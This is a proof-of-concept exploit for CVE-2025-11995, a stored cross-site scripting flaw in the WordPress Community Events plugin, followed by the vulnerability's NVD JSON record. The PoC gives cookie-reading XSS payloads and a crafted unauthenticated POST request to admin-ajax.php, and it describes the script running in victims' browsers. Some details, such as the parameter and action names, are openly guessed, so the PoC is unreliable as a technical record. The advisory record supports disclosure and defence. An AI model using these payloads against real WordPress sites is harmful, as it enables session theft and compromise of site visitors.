CVE-2025-11995

// CVE-2025-11995 Stored XSS PoC // Target: WordPress Community Events plugin <= 1.5.2 // Attack Vector: Inject malicious JavaScript via event details parameter // Step 1: Identify the vulnerable parameter // The plugin processes event details through the 'event_details' or similar parameter // Step 2: Craft the XSS payload // Payload: <script>alert(document.cookie)</script> // Alternative payload with event handler: // <img src=x onerror=alert(document.cookie)> // Step 3: Send the malicious request (requires no authentication) const xssPayload = '<script>alert(document.cookie)</script>'; // Example HTTP request to trigger the vulnerability: const exploitRequest = { method: 'POST', url: 'https://target-site.com/wp-admin/admin-ajax.php', data: { action: 'community_events_save_event', event_details: xssPayload, // Other required parameters } }; // Step 4: When any user visits the affected page, the XSS will execute // The malicious script runs in the context of the victim's browser session

{"cve": {"id": "CVE-2025-11995", "sourceIdentifier": "[email protected]", "published": "2025-11-01T05:16:02.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Community Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via event details parameter in all versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/community-events/trunk/community-events.php?rev=3115223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3384504%40community-events&new=3384504%40community-events&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6c12bcf6-6297-457a-a807-28f5dbacb0eb?source=cve", "source": "[email protected]"}]}}